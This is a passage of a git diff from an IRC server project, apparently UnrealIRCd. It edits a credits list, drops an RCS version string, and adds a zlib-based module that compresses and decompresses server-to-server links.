*nix and giving me a place", - " to develop Unreal", - "[FBI] Corey Lang *unknown*", + "[FBI] Corey Lang fbi@dal.net", " - Being a good IRC friend and getting me started with", " IRC through our old little wIRCd net :)", "", diff --git a/src/whowas.c b/src/whowas.c index 349c9bac7..db79c7153 100644 --- a/src/whowas.c +++ b/src/whowas.c @@ -24,10 +24,6 @@ #include "numeric.h" #include "h.h" #include "hash.h" -#ifndef lint -static char *rcs_version = - "$Id$"; -#endif /* externally defined functions */ unsigned int hash_whowas_name(char *); /* defined in hash.c */ diff --git a/src/zip.c b/src/zip.c new file mode 100644 index 000000000..a0e0175dd --- /dev/null +++ b/src/zip.c @@ -0,0 +1,350 @@ +/************************************************************************ + * IRC - Internet Relay Chat, ircd/s_zip.c + * Copyright (C) 1996 Christophe Kalt + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 1, or (at your option) + * any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + * + * $Id$ + */ +#include "struct.h" +#include "common.h" +#include "sys.h" +#include "numeric.h" +#include "msg.h" +#include "channel.h" +#include "userload.h" +#include "version.h" + +#include +#include + +#ifdef ZIP_LINKS +/* +** Important note: +** The provided buffers for uncompression and compression *MUST* be big +** enough for any operation to complete. +** +** s_bsd.c current settings are that the biggest packet size is 16k +** (but socket buffers are set to 8k..) +*/ + +/* +** size of the buffer holding compressed data +** +** outgoing data: +** must be enough to hold compressed data resulting of the compression +** of up to ZIP_MAXIMUM bytes +** incoming data: +** must be enough to hold cptr->zip->inbuf + what was just read +** (cptr->zip->inbuf should never hold more than ONE compression block. +** The biggest block allowed for compression is ZIP_MAXIMUM bytes) +*/ +#define ZIP_BUFFER_SIZE (ZIP_MAXIMUM + BUFSIZE) + +/* +** size of the buffer where zlib puts compressed data +** must be enough to hold uncompressed data resulting of the +** uncompression of zibuffer +** +** I'm assuming that at best, ratio will be 25%. (tests show that +** best ratio is around 40%). +*/ + +/* + * On an hybrid test net, we kept filling up unzipbuf + * original was 4*ZIP_BUFFER_SIZE + * + * -Dianora + */ + +#define UNZIP_BUFFER_SIZE 6 * ZIP_BUFFER_SIZE + +/* buffers */ +static char unzipbuf[UNZIP_BUFFER_SIZE]; +static char zipbuf[ZIP_BUFFER_SIZE]; + +/* +** zip_init +** Initialize compression structures for a server. +** If failed, zip_free() has to be called. +*/ +int zip_init(aClient *cptr) +{ + cptr->zip = (aZdata *) MyMalloc(sizeof(aZdata)); + cptr->zip->incount = 0; + cptr->zip->outcount = 0; + + cptr->zip->in = (z_stream *) MyMalloc(sizeof(z_stream)); + cptr->zip->in->total_in = 0; + cptr->zip->in->total_out = 0; + cptr->zip->in->zalloc = (alloc_func)0; + cptr->zip->in->zfree = (free_func)0; + cptr->zip->in->data_type = Z_ASCII; + if (inflateInit(cptr->zip->in) != Z_OK) + { + cptr->zip->out = NULL; + return -1; + } + + cptr->zip->out = (z_stream *) MyMalloc(sizeof(z_stream)); + cptr->zip->out->total_in = 0; + cptr->zip->out->total_out = 0; + cptr->zip->out->zalloc = (alloc_func)0; + cptr->zip->out->zfree = (free_func)0; + cptr->zip->out->data_type = Z_ASCII; + if (deflateInit(cptr->zip->out, ZIP_LEVEL) != Z_OK) + return -1; + + return 0; +} + +/* +** zip_free +*/ +void zip_free(aClient *cptr) +{ + cptr->flags2 &= ~FLAGS2_ZIP; + if (cptr->zip) + { + if (cptr->zip->in) + inflateEnd(cptr->zip->in); + MyFree(cptr->zip->in); + if (cptr->zip->out) + deflateEnd(cptr->zip->out); + MyFree(cptr->zip->out); + MyFree(cptr->zip); + cptr->zip = NULL; + } +} + +/* +** unzip_packet +** Unzip the buffer, +** put anything left in cptr->zip->inbuf, update cptr->zip->incount +** +** will return the uncompressed buffer, length will be updated. +** if a fatal error occurs, length will be set to -1 +*/ +char *unzip_packet(aClient *cptr, char *buffer, int *length) +{ + z_stream *zin = cptr->zip->in; + int r; + char *p; + + if(cptr->zip->incount) + { + /* There was a "chunk" of uncompressed data without a newline + * left over from last unzip_packet. So pick that up, and unzip + * some more data. Note, buffer parameter isn't used in this case. + * -Dianora + */ + memcpy((void *)unzipbuf,(void *)cptr->zip->inbuf,cptr->zip->incount); + zin->avail_out = UNZIP_BUFFER_SIZE - cptr->zip->incount; + zin->next_out = unzipbuf + cptr->zip->incount; + cptr->zip->incount = 0; + cptr->zip->inbuf[0] = '\0'; /* again unnecessary but nice for debugger */ + } + else + { + /* Start unzipping this buffer, if I fill up output buffer, + * then snag whatever uncompressed incomplete chunk I have at + * the top of the uncompressed buffer, save it for next pass. + * -Dianora + */ + if(!buffer) /* Sanity test never hurts */ + { + *length = -1; + return((char *)NULL); + } + zin->next_in = buffer; + zin->avail_in = *length; + zin->next_out = unzipbuf; + zin->avail_out = UNZIP_BUFFER_SIZE; + } + + switch (r = inflate(zin, Z_NO_FLUSH)) + { + case Z_OK: + if (zin->avail_in) + { + cptr->zip->incount = 0; + + if(zin->avail_out == 0) + { + /* ok, filled up output buffer, complain about it, but go on. + * I need to find any incomplete "chunk" at the top of + * the uncompressed output buffer, and save it for next call. + * N.B. That cptr->zip->inbuf isn't really necessary + * i.e. re-entrancy is not required since I know + * there is more uncompressed data to do, and dopacket() + * will not return until its all parsed. -db + */ + sendto_realops("Overflowed unzipbuf increase UNZIP_BUFFER_SIZE"); + /* + * I used to just give up here.... + * length = -1; + * return((char *)NULL); + */ + + /* Check for pathological case where output + * just happened to have finished with a newline + * and there is still input to do + * Just stuff a newline in for now, it will be discarded + * anyway, and continue parsing. -db + */ + + if((zin->next_out[0] == '\n') || (zin->next_out[0] == '\r')) + { + cptr->zip->inbuf[0] = '\n'; + cptr->zip->incount = 1; + } + else + { + /* Scan from the top of output, look for a complete + * "chunk" N.B. there should be a check for p hitting + * the bottom of the unzip buffer. -db + */ + + for(p = zin->next_out;p >= unzipbuf;) + { + if((*p == '\r') || (*p == '\n')) + break; + zin->avail_out++; + p--; + cptr->zip->incount++; + } + /* A little sanity test never hurts -db */ + if(p == unzipbuf) + { + cptr->zip->incount = 0; + cptr->zip->inbuf[0] = '\0'; /* only for debugger */ + *length = -1; + return((char *)NULL); + } + /* Ok, stuff this "chunk" into inbuf + * for next call -Dianora + */ + p++; + cptr->zip->incount--; + memcpy((void *)cptr->zip->inbuf, + (void *)p,cptr->zip->incount); + } + } + else + { + /* outbuf buffer is not full, but still + * input to do. I suppose its just bad data. + * However I don't have much other choice here but to + * give up in complete disgust -db + */ + *length = -1; + return((char *)NULL); + } + } + + *length = UNZIP_BUFFER_SIZE - zin->avail_out; + return unzipbuf; + + case Z_BUF_ERROR: + if (zin->avail_out == 0) + { + sendto_realops("inflate() returned Z_BUF_ERROR: %s", + (zin->msg) ? zin->msg : "?"); + *length = -1; + } + break; + + case Z_DATA_ERROR: /* the buffer might not be compressed.. */ + if ((IsCapable(cptr, CAP_ZIP)) && !strncmp("ERROR ", buffer, 6)) + { + cptr->flags2 &= ~FLAGS2_ZIP; + cptr->caps &= ~CAP_ZIP; + /* + * This is not sane at all. But if other server + * has sent an error now, it is probably closing + * the link as well. + */ + return buffer; + } + + /* no break */ + + default: /* error ! */ + /* should probably mark link as dead or something... */ + sendto_realops("inflate() error(%d): %s", r, + (zin->msg) ? zin->msg : "?"); + *length = -1; /* report error condition */ + break; + } + return((char *)NULL); +} + +/* +** zip_buffer +** Zip the content of cptr->zip->outbuf and of the buffer, +** put anything left in cptr->zip->outbuf, update cptr->zip->outcount +** +** if flush is set, then all available data will be compressed, +** otherwise, compression only occurs if there's enough to compress, +** or if we are reaching the maximum allowed size during a connect burst. +** +** will return the uncompressed buffer, length will be updated. +** if a fatal error occurs, length will be set to -1 +*/ +char *zip_buffer(aClient *cptr, char *buffer, int *length, int flush) +{ + z_stream *zout = cptr->zip->out; + int r; + + if (buffer) + { + /* concatenate buffer in cptr->zip->outbuf */ + memcpy((void *)cptr->zip->outbuf + cptr->zip->outcount, (void *)buffer, + *length ); + cptr->zip->outcount += *length; + } + *length = 0; + + if (!flush && ((cptr->zip->outcount < ZIP_MINIMUM) || + ((cptr->zip->outcount < (ZIP_MAXIMUM - BUFSIZE)) && + CBurst(cptr)))) + return((char *)NULL); + + zout->next_in = cptr->zip->outbuf; + zout->avail_in = cptr->zip->outcount; + zout->next_out = zipbuf; + zout->avail_out = ZIP_BUFFER_SIZE; + + switch (r = deflate(zout, Z_PARTIAL_FLUSH)) + { + case Z_OK: + if (zout->avail_in) + { + /* can this occur?? I hope not... */ + sendto_realops("deflate() didn't process all available data!"); + } + cptr->zip->outcount = 0; + *length = ZIP_BUFFER_SIZE - zout->avail_out; + return zipbuf; + + default: /* error ! */ + sendto_realops("deflate() error(%d): %s", r, (zout->msg) ? zout->msg : "?"); + *length = -1; + break; + } + return((char *)NULL); +} + +#endif /* ZIP_LINKS */